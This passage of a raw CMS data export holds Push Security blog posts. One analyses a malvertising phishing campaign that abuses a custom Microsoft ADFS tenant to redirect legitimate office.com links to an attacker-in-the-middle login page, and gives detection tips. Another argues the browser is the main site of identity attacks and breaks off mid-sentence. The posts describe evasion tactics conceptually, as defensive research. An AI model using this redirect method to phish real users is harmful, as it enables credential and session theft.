",{"data":30683,"content":30685,"nodeType":889},{"uri":30684},"https://pushsecurity.com/webinar/identity-detection-response",[30686],{"data":30687,"marks":30688,"value":30690,"nodeType":865},{},[30689],{"type":1191},"join us live on August 13 for our webinar",{"data":30692,"marks":30693,"value":3202,"nodeType":865},{},[],{"data":30695,"marks":30696,"value":30698,"nodeType":865},{},[30697],{"type":935},"“Identity attacks have changed — have your IR playbooks?”",{"data":30700,"content":30701,"nodeType":944},{},[],{"data":30703,"content":30704,"nodeType":953},{},[30705],{"data":30706,"marks":30707,"value":5589,"nodeType":865},{},[30708],{"type":935},{"data":30710,"content":30711,"nodeType":866},{},[30712],{"data":30713,"marks":30714,"value":30715,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying, and session hijacking using stolen session tokens. ",{"data":30717,"content":30718,"nodeType":866},{},[30719],{"data":30720,"marks":30721,"value":30722,"nodeType":865},{},[],"You can also use Push to find and fix identity vulnerabilities across every app that your employees use, including ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more.",{"data":30724,"content":30725,"nodeType":866},{},[30726,30730,30738],{"data":30727,"marks":30728,"value":30729,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":30731,"content":30732,"nodeType":889},{"uri":1487},[30733],{"data":30734,"marks":30735,"value":30737,"nodeType":865},{},[30736],{"type":1191},"request a demo.",{"data":30739,"marks":30740,"value":21,"nodeType":865},{},[],"Introducing Push Detections: Equipping SecOps and IR teams to stop browser-based attacks","We’re launching a new Detections capability, enabling security teams to more effectively investigate and triage alerts, and build more effective workflows. ","2025-07-29T00:00:00.000Z","introducing-push-detections",{"items":30746},[30747,30749],{"sys":30748,"name":342},{"id":2666},{"sys":30750,"name":2663},{"id":2662},{"items":30752},[30753],{"fullName":11082,"firstName":11083,"jobTitle":11084,"profilePicture":30754},{"url":11086},{"__typename":1802,"sys":30756,"content":30758,"title":31350,"synopsis":31351,"hashTags":59,"publishedDate":31352,"slug":31353,"tagsCollection":31354,"authorsCollection":31360},{"id":30757},"5y6UUG3mMTu1dFhtKO0AUT",{"json":30759},{"data":30760,"content":30761,"nodeType":1663},{},[30762,30769,30776,30796,30803,30823,30830,30833,30841,30848,30855,30861,30868,30913,30955,30963,30970,30990,31026,31032,31039,31045,31052,31060,31090,31096,31099,31107,31127,31147,31177,31183,31186,31194,31201,31294,31297,31304,31322,31328,31334],{"data":30763,"content":30764,"nodeType":866},{},[30765],{"data":30766,"marks":30767,"value":30768,"nodeType":865},{},[],"Everything we do at Push is research-driven. Our detections for phishing attacks were created through hands-on analysis of phishing kits that our customers have been targeted with. This gives us a steady supply of all manner of modern Attacker-in-the-Middle phishing kits to analyze — from the classic Evilginx-style phish kit to professionalized criminal as-a-Service infrastructure. ",{"data":30770,"content":30771,"nodeType":866},{},[30772],{"data":30773,"marks":30774,"value":30775,"nodeType":865},{},[],"In our most recent phish kit teardown, we encountered a standard reverse-proxy clone of a Microsoft login page — nothing unusual at first glance. But increasingly, a lot of the innovation comes outside of the phishing page itself. ",{"data":30777,"content":30778,"nodeType":866},{},[30779,30783,30792],{"data":30780,"marks":30781,"value":30782,"nodeType":865},{},[],"The art in detection evasion comes from being able to successfully deliver the page to a user and have them open the page without it being intercepted by an email security, proxy scanner, URL TI feed, or web analysis tool. To achieve this, the attacker found a way to redirect from a legitimate ",{"data":30784,"content":30786,"nodeType":889},{"uri":30785},"http://outlook.office.com",[30787],{"data":30788,"marks":30789,"value":30791,"nodeType":865},{},[30790],{"type":1191},"outlook.office.com",{"data":30793,"marks":30794,"value":30795,"nodeType":865},{},[]," link to a phishing website. ",{"data":30797,"content":30798,"nodeType":866},{},[30799],{"data":30800,"marks":30801,"value":30802,"nodeType":865},{},[],"This is essentially an open redirect vulnerability — maybe not the classic example where someone has forgotten to do input sanitization on their website, but the outcome is the same.",{"data":30804,"content":30805,"nodeType":866},{},[30806,30810,30819],{"data":30807,"marks":30808,"value":30809,"nodeType":865},{},[],"Central to our analysis was the use of our timelines feature, ",{"data":30811,"content":30813,"nodeType":889},{"uri":30812},"https://pushsecurity.com/blog/introducing-push-detections/",[30814],{"data":30815,"marks":30816,"value":30818,"nodeType":865},{},[30817],{"type":1191},"part of our latest Detections feature release",{"data":30820,"marks":30821,"value":30822,"nodeType":865},{},[],". I’m not going to talk in any detail about this, but the TL;DR is that it allows us to trace back the entire chain of browsing activity leading up to a detection — showing the full (sometimes lengthy) redirect chain from the initial link delivery source to the actual phishing page, tabs opened and closed, popup windows, forms submitted, passwords entered, and more. ",{"data":30824,"content":30825,"nodeType":866},{},[30826],{"data":30827,"marks":30828,"value":30829,"nodeType":865},{},[],"First, let’s go through the steps of my investigation before looking at the findings (and the implications for phishing detection evasion techniques). ",{"data":30831,"content":30832,"nodeType":944},{},[],{"data":30834,"content":30835,"nodeType":953},{},[30836],{"data":30837,"marks":30838,"value":30840,"nodeType":865},{},[30839],{"type":935},"Investigation walkthrough",{"data":30842,"content":30843,"nodeType":866},{},[30844],{"data":30845,"marks":30846,"value":30847,"nodeType":865},{},[],"As I opened with, there was nothing especially notable about the phishing page itself — a standard reverse-proxy AitM page designed to intercept the user’s session as they authenticate, bypassing MFA in the process. ",{"data":30849,"content":30850,"nodeType":866},{},[30851],{"data":30852,"marks":30853,"value":30854,"nodeType":865},{},[],"This was not targeted delivery — employees from several customers were impacted. I’ve included an example of how one user arrived at the site below.",{"data":30856,"content":30860,"nodeType":921},{"target":30857},{"sys":30858},{"id":30859,"type":918,"linkType":919},"51MnOL9XqQDkllK2Jer4S9",[],{"data":30862,"content":30863,"nodeType":866},{},[30864],{"data":30865,"marks":30866,"value":30867,"nodeType":865},{},[],"This one stood out to me for a few reasons. ",{"data":30869,"content":30870,"nodeType":2374},{},[30871,30881,30903],{"data":30872,"content":30873,"nodeType":2309},{},[30874],{"data":30875,"content":30876,"nodeType":866},{},[30877],{"data":30878,"marks":30879,"value":30880,"nodeType":865},{},[],"The user had accessed the malicious link from Google search. They searched “Office 265\" (a typo presumably), clicked a link, and were taken to an Office login page.",{"data":30882,"content":30883,"nodeType":2309},{},[30884],{"data":30885,"content":30886,"nodeType":866},{},[30887,30891,30899],{"data":30888,"marks":30889,"value":30890,"nodeType":865},{},[],"The Outlook link had a number of Google Ads tracking parameters attached, meaning they clicked an ad, not an organic link — making this a ",{"data":30892,"content":30894,"nodeType":889},{"uri":30893},"https://pushsecurity.github.io/phishing-techniques/techniques/malvertising/",[30895],{"data":30896,"marks":30897,"value":441,"nodeType":865},{},[30898],{"type":1191},{"data":30900,"marks":30901,"value":30902,"nodeType":865},{},[]," attack. ",{"data":30904,"content":30905,"nodeType":2309},{},[30906],{"data":30907,"content":30908,"nodeType":866},{},[30909],{"data":30910,"marks":30911,"value":30912,"nodeType":865},{},[],"Another domain — bluegraintours[.]com — was in the URL path, after which they were redirected to the Microsoft-impersonating phishing site (login-microsoftonline[.]offirmtm[.]com ...). ",{"data":30914,"content":30915,"nodeType":866},{},[30916,30920,30929,30933,30940,30944,30951],{"data":30917,"marks":30918,"value":30919,"nodeType":865},{},[],"This got me wondering — how did they get ",{"data":30921,"content":30923,"nodeType":889},{"uri":30922},"http://office.com",[30924],{"data":30925,"marks":30926,"value":30928,"nodeType":865},{},[30927],{"type":1191},"office.com",{"data":30930,"marks":30931,"value":30932,"nodeType":865},{},[]," to redirect to the phishing site, and why was the bluegraintours domain in the path of an ",{"data":30934,"content":30935,"nodeType":889},{"uri":30922},[30936],{"data":30937,"marks":30938,"value":30928,"nodeType":865},{},[30939],{"type":1191},{"data":30941,"marks":30942,"value":30943,"nodeType":865},{},[]," link? There was no indication that an actual phishing email was interacted with, it seemed to all happen directly from the legitimate ",{"data":30945,"content":30946,"nodeType":889},{"uri":30922},[30947],{"data":30948,"marks":30949,"value":30928,"nodeType":865},{},[30950],{"type":1191},{"data":30952,"marks":30953,"value":30954,"nodeType":865},{},[]," link. ",{"data":30956,"content":30957,"nodeType":1229},{},[30958],{"data":30959,"marks":30960,"value":30962,"nodeType":865},{},[30961],{"type":935},"Redirecting to a malicious login page via ADFS",{"data":30964,"content":30965,"nodeType":866},{},[30966],{"data":30967,"marks":30968,"value":30969,"nodeType":865},{},[],"From memory, I knew that the tenant name can appear in the URL when you’re accessing a specific Microsoft tenant for your organization — essentially a domain-specific landing page. ",{"data":30971,"content":30972,"nodeType":866},{},[30973,30977,30986],{"data":30974,"marks":30975,"value":30976,"nodeType":865},{},[],"It turns out the attacker had set up a custom Microsoft tenant with ",{"data":30978,"content":30980,"nodeType":889},{"uri":30979},"https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview",[30981],{"data":30982,"marks":30983,"value":30985,"nodeType":865},{},[30984],{"type":1191},"Active Directory Federation Services (ADFS)",{"data":30987,"marks":30988,"value":30989,"nodeType":865},{},[]," configured. If you’re not familiar, ADFS is an SSO solution that is often used to connect on-premises Active Directory with cloud services like Microsoft 365 or Azure Active Directory. This means Microsoft will perform the redirect to the custom malicious domain. ",{"data":30991,"content":30992,"nodeType":866},{},[30993,30997,31004,31008,31017,31021],{"data":30994,"marks":30995,"value":30996,"nodeType":865},{},[],"This is strikingly similar to ",{"data":30998,"content":30999,"nodeType":889},{"uri":25619},[31000],{"data":31001,"marks":31002,"value":25625,"nodeType":865},{},[31003],{"type":1191},{"data":31005,"marks":31006,"value":31007,"nodeType":865},{},[],", a technique I’ve ",{"data":31009,"content":31011,"nodeType":889},{"uri":31010},"https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/",[31012],{"data":31013,"marks":31014,"value":31016,"nodeType":865},{},[31015],{"type":1191},"blogged about previously",{"data":31018,"marks":31019,"value":31020,"nodeType":865},{},[]," which allows you to change the identity provider domain that an application’s users authenticate through. Attackers can change this link to their phishing page that proxies the legitimate site to phish users through legitimate sign-in links — ",{"data":31022,"marks":31023,"value":31025,"nodeType":865},{},[31024],{"type":935},"so I guess that makes this ADFSjacking?",{"data":31027,"content":31031,"nodeType":921},{"target":31028},{"sys":31029},{"id":31030,"type":918,"linkType":919},"3BXyDhMC69355gLRqyIwQP",[],{"data":31033,"content":31034,"nodeType":866},{},[31035],{"data":31036,"marks":31037,"value":31038,"nodeType":865},{},[],"I had initially assumed that bluegraintours was a legitimate website that had been compromised by the attacker and used as a redirect, which is pretty common behavior for threat groups. However, it turns out that it’s actually a fake website that the attackers have probably vibe-coded. ",{"data":31040,"content":31044,"nodeType":921},{"target":31041},{"sys":31042},{"id":31043,"type":918,"linkType":919},"1hnWJ0jgsPqRELDqUeFzf3",[],{"data":31046,"content":31047,"nodeType":866},{},[31048],{"data":31049,"marks":31050,"value":31051,"nodeType":865},{},[],"It’s worth noting that this isn’t something that the phishing victim would see as part of the attack — it’s purely used as an invisible redirect. This is most likely to be an attempt to mask the nature of the domain for domain categorization purposes, which is typical for proxy-based solutions to prevent users from browsing to unapproved things — this way, automated scanners will classify it as a travel blog. ",{"data":31053,"content":31054,"nodeType":1229},{},[31055],{"data":31056,"marks":31057,"value":31059,"nodeType":865},{},[31058],{"type":935},"Conditional loading interrupted the page analysis",{"data":31061,"content":31062,"nodeType":866},{},[31063,31067,31075,31079,31086],{"data":31064,"marks":31065,"value":31066,"nodeType":865},{},[],"While the user was taken to the phishing page at the end of the chain, ",{"data":31068,"content":31070,"nodeType":889},{"uri":31069},"https://pushsecurity.github.io/phishing-techniques/techniques/conditional-loading/",[31071],{"data":31072,"marks":31073,"value":25378,"nodeType":865},{},[31074],{"type":1191},{"data":31076,"marks":31077,"value":31078,"nodeType":865},{},[]," restrictions prevented us from recreating the full attack flow when loading the initial link clicked by the user. This happens when certain conditions of the page load aren’t met. Because the kit decides I’m not a valid target, I’m redirected back to ",{"data":31080,"content":31081,"nodeType":889},{"uri":30922},[31082],{"data":31083,"marks":31084,"value":30928,"nodeType":865},{},[31085],{"type":1191},{"data":31087,"marks":31088,"value":31089,"nodeType":865},{},[],". However, we were able to skip ahead and bypass the conditional loading to access the phishing server directly. ",{"data":31091,"content":31095,"nodeType":921},{"target":31092},{"sys":31093},{"id":31094,"type":918,"linkType":919},"68rW6CHJOJ2u3mCc08lGvZ",[],{"data":31097,"content":31098,"nodeType":944},{},[],{"data":31100,"content":31101,"nodeType":953},{},[31102],{"data":31103,"marks":31104,"value":31106,"nodeType":865},{},[31105],{"type":935},"Key takeaways",{"data":31108,"content":31109,"nodeType":866},{},[31110,31114,31123],{"data":31111,"marks":31112,"value":31113,"nodeType":865},{},[],"While this isn’t a vulnerability per se, the ability for attackers to add their own Microsoft ADFS server to host their phishing page and have Microsoft redirect to it is a concerning development that will make URL-based detections even more challenging than they already are. ",{"data":31115,"content":31117,"nodeType":889},{"uri":31116},"https://pushsecurity.github.io/phishing-techniques/techniques/trusted-website-hosting/",[31118],{"data":31119,"marks":31120,"value":31122,"nodeType":865},{},[31121],{"type":1191},"Hosting phishing links on trusted third-party websites",{"data":31124,"marks":31125,"value":31126,"nodeType":865},{},[]," is a highly effective way of both bypassing URL-based detections and implementing layers of obfuscation in their phishing delivery chain that can break automated analysis tools.  ",{"data":31128,"content":31129,"nodeType":866},{},[31130,31134,31143],{"data":31131,"marks":31132,"value":31133,"nodeType":865},{},[],"This is basically the equivalent to ",{"data":31135,"content":31137,"nodeType":889},{"uri":31136},"http://outlook.com",[31138],{"data":31139,"marks":31140,"value":31142,"nodeType":865},{},[31141],{"type":1191},"Outlook.com",{"data":31144,"marks":31145,"value":31146,"nodeType":865},{},[]," having an open redirect vulnerability, which would be a huge deal in the eyes of most security practitioners. In practice, it’s a little harder for the average attacker to make use of this, but anyone that is willing to create a Microsoft tenant and set up ADFS could create similar phishing infrastructure  — which only requires passing a credit card check. ",{"data":31148,"content":31149,"nodeType":866},{},[31150,31154,31161,31165,31173],{"data":31151,"marks":31152,"value":31153,"nodeType":865},{},[],"The other notable component to this attack is the use of ",{"data":31155,"content":31156,"nodeType":889},{"uri":30893},[31157],{"data":31158,"marks":31159,"value":441,"nodeType":865},{},[31160],{"type":1191},{"data":31162,"marks":31163,"value":31164,"nodeType":865},{},[]," as the lure delivery channel. This is a trend we spotted recently with ",{"data":31166,"content":31167,"nodeType":889},{"uri":25502},[31168],{"data":31169,"marks":31170,"value":31172,"nodeType":865},{},[31171],{"type":1191},"Scattered Spider’s use of Onfido-based malvertising lures",{"data":31174,"marks":31175,"value":31176,"nodeType":865},{},[],". Malvertising is a great way for attackers to sidestep phishing controls placed at the email layer (where the majority are) and, as in this case, can create a highly-convincing and difficult-to-spot phishing scenario.  ",{"data":31178,"content":31182,"nodeType":921},{"target":31179},{"sys":31180},{"id":31181,"type":918,"linkType":919},"6QzB0BlVC5mstXwXHvy2c3",[],{"data":31184,"content":31185,"nodeType":944},{},[],{"data":31187,"content":31188,"nodeType":953},{},[31189],{"data":31190,"marks":31191,"value":31193,"nodeType":865},{},[31192],{"type":935},"Detection recommendations",{"data":31195,"content":31196,"nodeType":866},{},[31197],{"data":31198,"marks":31199,"value":31200,"nodeType":865},{},[],"There are a couple of tool-agnostic hardening options that can used to limit exposure to the specifics of this attack:",{"data":31202,"content":31203,"nodeType":2374},{},[31204,31214,31235],{"data":31205,"content":31206,"nodeType":2309},{},[31207],{"data":31208,"content":31209,"nodeType":866},{},[31210],{"data":31211,"marks":31212,"value":31213,"nodeType":865},{},[],"Monitoring for ADFS redirects in proxy logs that could be malicious, i.e. login.microsoftonline.com redirecting to another domain with /adfs/ls/ in the path. Many organizations do not use ADFS, while those that do should be able to filter legitimate ones to their legitimate domain relatively easily. ",{"data":31215,"content":31216,"nodeType":2309},{},[31217],{"data":31218,"content":31219,"nodeType":866},{},[31220,31224,31231],{"data":31221,"marks":31222,"value":31223,"nodeType":865},{},[],"Monitoring for Google redirects to ",{"data":31225,"content":31226,"nodeType":889},{"uri":30922},[31227],{"data":31228,"marks":31229,"value":30928,"nodeType":865},{},[31230],{"type":1191},{"data":31232,"marks":31233,"value":31234,"nodeType":865},{},[]," with Google ad parameters for more specific detection of malvertising + ADFS hijacking as in this example. ",{"data":31236,"content":31237,"nodeType":2309},{},[31238],{"data":31239,"content":31240,"nodeType":866},{},[31241,31245,31254,31257,31266,31269,31278,31281,31290],{"data":31242,"marks":31243,"value":31244,"nodeType":865},{},[],"Deploying ad blockers to all of your browsers to stop malvertising attacks — though this only serves to tackle one of the several possible delivery vectors, such as links delivered using ",{"data":31246,"content":31248,"nodeType":889},{"uri":31247},"https://pushsecurity.github.io/phishing-techniques/techniques/email-legitimate-app/",[31249],{"data":31250,"marks":31251,"value":31253,"nodeType":865},{},[31252],{"type":1191},"legitimate third-party services",{"data":31255,"marks":31256,"value":3202,"nodeType":865},{},[],{"data":31258,"content":31260,"nodeType":889},{"uri":31259},"https://pushsecurity.github.io/phishing-techniques/techniques/social-media/",[31261],{"data":31262,"marks":31263,"value":31265,"nodeType":865},{},[31264],{"type":1191},"social media",{"data":31267,"marks":31268,"value":3202,"nodeType":865},{},[],{"data":31270,"content":31272,"nodeType":889},{"uri":31271},"https://pushsecurity.github.io/phishing-techniques/techniques/instant-messenger/",[31273],{"data":31274,"marks":31275,"value":31277,"nodeType":865},{},[31276],{"type":1191},"instant messenger",{"data":31279,"marks":31280,"value":3215,"nodeType":865},{},[],{"data":31282,"content":31284,"nodeType":889},{"uri":31283},"https://pushsecurity.github.io/phishing-techniques/techniques/email-attachment/",[31285],{"data":31286,"marks":31287,"value":31289,"nodeType":865},{},[31288],{"type":1191},"email attachment",{"data":31291,"marks":31292,"value":31293,"nodeType":865},{},[],". (This is one of the limitations of focusing on specific delivery mechanisms — attackers have more to choose from than ever before. It’s not just an email problem). ",{"data":31295,"content":31296,"nodeType":944},{},[],{"data":31298,"content":31299,"nodeType":953},{},[31300],{"data":31301,"marks":31302,"value":5589,"nodeType":865},{},[31303],{"type":935},{"data":31305,"content":31306,"nodeType":866},{},[31307,31311,31318],{"data":31308,"marks":31309,"value":31310,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks, or relies on outdated domain TI feeds. It doesn’t matter what ",{"data":31312,"content":31313,"nodeType":889},{"uri":1388},[31314],{"data":31315,"marks":31316,"value":31317,"nodeType":865},{},[],"delivery channel or camouflage methods are used",{"data":31319,"marks":31320,"value":31321,"nodeType":865},{},[],", Push detects and blocks attacks by identifying the attack in real time, as the user loads the page in their web browser.",{"data":31323,"content":31324,"nodeType":866},{},[31325],{"data":31326,"marks":31327,"value":30715,"nodeType":865},{},[],{"data":31329,"content":31330,"nodeType":866},{},[31331],{"data":31332,"marks":31333,"value":30722,"nodeType":865},{},[],{"data":31335,"content":31336,"nodeType":866},{},[31337,31340,31347],{"data":31338,"marks":31339,"value":30729,"nodeType":865},{},[],{"data":31341,"content":31342,"nodeType":889},{"uri":1487},[31343],{"data":31344,"marks":31345,"value":30737,"nodeType":865},{},[31346],{"type":1191},{"data":31348,"marks":31349,"value":21,"nodeType":865},{},[],"How attackers are using Active Directory Federation Services to phish with legit office.com links","Push recently identified a novel phishing attack using Active Directory Federation Services to get Microsoft to send victims to a phishing site.","2025-08-12T00:00:00.000Z","phishing-with-active-directory-federation-services",{"items":31355},[31356,31358],{"sys":31357,"name":342},{"id":2666},{"sys":31359,"name":2663},{"id":2662},{"items":31361},[31362],{"fullName":9299,"firstName":9300,"jobTitle":9301,"profilePicture":31363},{"url":9303},{"__typename":1802,"sys":31365,"content":31367,"title":32143,"synopsis":32144,"hashTags":59,"publishedDate":32145,"slug":32146,"tagsCollection":32147,"authorsCollection":32153},{"id":31366},"31m73YMGdCyqVmjHulBwER",{"json":31368},{"data":31369,"content":31370,"nodeType":1663},{},[31371,31378,31411,31418,31424,31431,31462,31469,31475,31478,31486,31493,31500,31557,31575,31587,31594,31600,31603,31611,31627,31633,31640,31646,31653,31690,31696,31699,31707,31714,31721,31846,31852,31883,31890,31893,31901,31908,31915,31956,31985,31992,32067,32073,32076,32083,32090,32110,32113,32120,32127],{"data":31372,"content":31373,"nodeType":866},{},[31374],{"data":31375,"marks":31376,"value":31377,"nodeType":865},{},[],"Until recently, the cyber attacker methodology behind the biggest breaches of the last decade or so has been pretty consistent:",{"data":31379,"content":31380,"nodeType":2374},{},[31381,31391,31401],{"data":31382,"content":31383,"nodeType":2309},{},[31384],{"data":31385,"content":31386,"nodeType":866},{},[31387],{"data":31388,"marks":31389,"value":31390,"nodeType":865},{},[],"Compromise an endpoint via software exploit, or social engineering a user to run malware on their device; ",{"data":31392,"content":31393,"nodeType":2309},{},[31394],{"data":31395,"content":31396,"nodeType":866},{},[31397],{"data":31398,"marks":31399,"value":31400,"nodeType":865},{},[],"Find ways to move laterally inside the network and compromise privileged identities;",{"data":31402,"content":31403,"nodeType":2309},{},[31404],{"data":31405,"content":31406,"nodeType":866},{},[31407],{"data":31408,"marks":31409,"value":31410,"nodeType":865},{},[],"Repeat as needed until you can execute your desired attack — usually stealing data from file shares, deploying ransomware, or both. ",{"data":31412,"content":31413,"nodeType":866},{},[31414],{"data":31415,"marks":31416,"value":31417,"nodeType":865},{},[],"But attacks have fundamentally changed as networks have evolved. With the SaaS-ification of enterprise IT, core business systems aren’t locally deployed and centrally managed in the way they used to be. Instead, they’re logged into over the internet, via a web browser.",{"data":31419,"content":31423,"nodeType":921},{"target":31420},{"sys":31421},{"id":31422,"type":918,"linkType":919},"4h4hUYAghbZavOwjRTnBe2",[],{"data":31425,"content":31426,"nodeType":866},{},[31427],{"data":31428,"marks":31429,"value":31430,"nodeType":865},{},[],"Under the shared responsibility model, the part that’s left to the business consuming a SaaS service is mostly constrained to how they manage identities — the vehicle by which the app is accessed and used by the workforce. It’s no surprise that this has become the soft underbelly in the crosshairs of attackers. ",{"data":31432,"content":31433,"nodeType":866},{},[31434,31438,31446,31450,31459],{"data":31435,"marks":31436,"value":31437,"nodeType":865},{},[],"We’ve seen this time and again in the biggest breaches of recent years, with the highlights including the massive ",{"data":31439,"content":31440,"nodeType":889},{"uri":28006},[31441],{"data":31442,"marks":31443,"value":31445,"nodeType":865},{},[31444],{"type":1191},"Snowflake campaign in 2024",{"data":31447,"marks":31448,"value":31449,"nodeType":865},{},[]," and the ",{"data":31451,"content":31453,"nodeType":889},{"uri":31452},"https://pushsecurity.com/blog/key-takeaways-from-the-scattered-spider-attacks-on-insurance-firms/",[31454],{"data":31455,"marks":31456,"value":31458,"nodeType":865},{},[31457],{"type":1191},"2025 crime wave attributed to Scattered Spider",{"data":31460,"marks":31461,"value":30033,"nodeType":865},{},[],{"data":31463,"content":31464,"nodeType":866},{},[31465],{"data":31466,"marks":31467,"value":31468,"nodeType":865},{},[],"These attacks are so successful because while attackers have moved with the changes to enterprise IT, security hasn’t really kept up. ",{"data":31470,"content":31474,"nodeType":921},{"target":31471},{"sys":31472},{"id":31473,"type":918,"linkType":919},"xH0ZqgKQXCRRZGYVs6xt6",[],{"data":31476,"content":31477,"nodeType":944},{},[],{"data":31479,"content":31480,"nodeType":953},{},[31481],{"data":31482,"marks":31483,"value":31485,"nodeType":865},{},[31484],{"type":935},"The browser is the new battleground — and a security blind spot",{"data":31487,"content":31488,"nodeType":866},{},[31489],{"data":31490,"marks":31491,"value":31492,"nodeType":865},{},[],"Taking over workforce identities is the first objective for attackers looking to target an organization, and the browser is the place where the attacks against users happen. This is because it’s where these digital identities are created and used — and their credentials and sessions live. This is what the attacker wants to get their hands on. ",{"data":31494,"content":31495,"nodeType":866},{},[31496],{"data":31497,"marks":31498,"value":31499,"nodeType":865},{},[],"Stolen credentials can be used as part of targeted attacks or in broader credential stuffing (cycling known username and credential pairs against various apps and platforms), while stolen session tokens can be used to log in directly to an active session, bypassing the authentication process. ",{"data":31501,"content":31502,"nodeType":866},{},[31503,31507,31512,31515,31520,31523,31528,31531,31536,31539,31544,31548,31553],{"data":31504,"marks":31505,"value":31506,"nodeType":865},{},[],"There are a few different techniques that attackers can use to get access to these identities. Attackers harvest stolen credentials from various places — ",{"data":31508,"marks":31509,"value":31511,"nodeType":865},{},[31510],{"type":935},"data breach dumps",{"data":31513,"marks":31514,"value":3202,"nodeType":865},{},[],{"data":31516,"marks":31517,"value":31519,"nodeType":865},{},[31518],{"type":935},"mass",{"data":31521,"marks":31522,"value":3757,"nodeType":865},{},[],{"data":31524,"marks":31525,"value":31527,"nodeType":865},{},[31526],{"type":935},"credential",{"data":31529,"marks":31530,"value":3757,"nodeType":865},{},[],{"data":31532,"marks":31533,"value":31535,"nodeType":865},{},[31534],{"type":935},"phishing campaigns,",{"data":31537,"marks":31538,"value":3757,"nodeType":865},{},[],{"data":31540,"marks":31541,"value":31543,"nodeType":865},{},[31542],{"type":935},"infostealer logs",{"data":31545,"marks":31546,"value":31547,"nodeType":865},{},[],", even ",{"data":31549,"marks":31550,"value":31552,"nodeType":865},{},[31551],{"type":935},"malicious browser extensions",{"data":31554,"marks":31555,"value":31556,"nodeType":865},{},[]," that they’ve tricked an employee into installing. In fact, the cyber crime ecosystem itself has shifted on its axis to cater to this, with hackers specifically taking on the role of harvesting credentials and establishing account access for others to exploit. ",{"data":31558,"content":31559,"nodeType":866},{},[31560,31564,31571],{"data":31561,"marks":31562,"value":31563,"nodeType":865},{},[],"The high-profile ",{"data":31565,"content":31566,"nodeType":889},{"uri":28006},[31567],{"data":31568,"marks":31569,"value":26333,"nodeType":865},{},[31570],{"type":1191},{"data":31572,"marks":31573,"value":31574,"nodeType":865},{},[]," breaches in 2024 signalled a watershed moment in the shift to identity-driven breaches, where attackers logged into accounts across hundreds of customer tenants using stolen credentials. One of the primary sources of the stolen credentials used in the attacks were infostealer logs dating back to 2020 — breached passwords that hadn’t been rotated or mitigated with MFA. ",{"data":31576,"content":31577,"nodeType":866},{},[31578,31582],{"data":31579,"marks":31580,"value":31581,"nodeType":865},{},[],"Infostealers are notable because they’re an endpoint malware attack designed to harvest credentials and session tokens (often from the browser) to enable the attacker to then log into those services… through their own web browser. ",{"data":31583,"marks":31584,"value":31586,"nodeType":865},{},[31585],{"type":935},"So, even today’s endpoint attacks are seeing the attacker pivot back into the browser in order to get to identities — the key to the online apps and services where exploitable data and functionality now resides. ",{"data":31588,"content":31589,"nodeType":866},{},[31590],{"data":31591,"marks":31592,"value":31593,"nodeType":865},{},[],"The problem here is that this is a blind spot for the security tools we’re currently reliant upon — which don’t have the fine-grained visibility required. This is very similar to the challenge that the industry faced prior to the introduction of EDR in the 2010s — the main sources of data are looking from the outside-in, lacking the process-level visibility and context to be able to detect and stop attacks as they happen.",{"data":31595,"content":31599,"nodeType":921},{"target":31596},{"sys":31597},{"id":31598,"type":918,"linkType":919},"2qoMH6qCNJc7it7sTuKl4F",[],{"data":31601,"content":31602,"nodeType":944},{},[],{"data":31604,"content":31605,"nodeType":953},{},[31606],{"data":31607,"marks":31608,"value":31610,"nodeType":865},{},[31609],{"type":935},"Identity is the prize, browser is the platform — and phishing is the weapon of choice",{"data":31612,"content":31613,"nodeType":866},{},[31614,31618,31623],{"data":31615,"marks":31616,"value":31617,"nodeType":865},{},[],"But the technique that’s STILL driving the most impactful identity-driven breaches? ",{"data":31619,"marks":31620,"value":31622,"nodeType":865},{},[31621],{"type":935},"It’s phishing",{"data":31624,"marks":31625,"value":31626,"nodeType":865},{},[],". Phishing for credentials, sessions, OAuth consent, authorization codes. Phishing via email, instant messenger, social media, malicious Google ads… it all happens in, or leads to, the browser. ",{"data":31628,"content":31632,"nodeType":921},{"target":31629},{"sys":31630},{"id":31631,"type":918,"linkType":919},"6Gsd3G0sOibNxgVLimb2wV",[],{"data":31634,"content":31635,"nodeType":866},{},[31636],{"data":31637,"marks":31638,"value":31639,"nodeType":865},{},[],"And modern phishing attacks are more effective than ever. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques to block email and network security tools from intercepting them. Probably the most common example today is the use of bot protection (think CAPTCHA or Cloudflare Turnstile), using legitimate anti-spam features to block security tools. ",{"data":31641,"content":31645,"nodeType":921},{"target":31642},{"sys":31643},{"id":31644,"type":918,"linkType":919},"6M1My4lSKItu6Qdv4hO1RA",[],{"data":31647,"content":31648,"nodeType":866},{},[31649],{"data":31650,"marks":31651,"value":31652,"nodeType":865},{},[],"The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom CAPTCHA, and using runtime anti-analysis features, making them increasingly difficult to detect. The ways in which links are delivered has also increased in sophistication, with more delivery channels (as we showed above) and the use of legitimate SaaS services for camouflage. ",{"data":31654,"content":31655,"nodeType":866},{},[31656,31660,31665,31669,31674,31678,31687],{"data":31657,"marks":31658,"value":31659,"nodeType":865},{},[],"And the latest trends indicate that attackers are responding to increasingly hardened IdP/SSO configuration by exploiting alternative phishing techniques that ",{"data":31661,"marks":31662,"value":31664,"nodeType":865},{},[31663],{"type":935},"circumvent MFA and passkeys",{"data":31666,"marks":31667,"value":31668,"nodeType":865},{},[],", most commonly by ",{"data":31670,"marks":31671,"value":31673,"nodeType":865},{},[31672],{"type":935},"downgrading to a phishable backup authentication method",{"data":31675,"marks":31676,"value":31677,"nodeType":865},{},[]," — which you can see in action below, and ",{"data":31679,"content":31681,"nodeType":889},{"uri":31680},"https://pushsecurity.com/blog/mfa-downgrade-attacks/",[31682],{"data":31683,"marks":31684,"value":31686,"nodeType":865},{},[31685],{"type":1191},"read more about 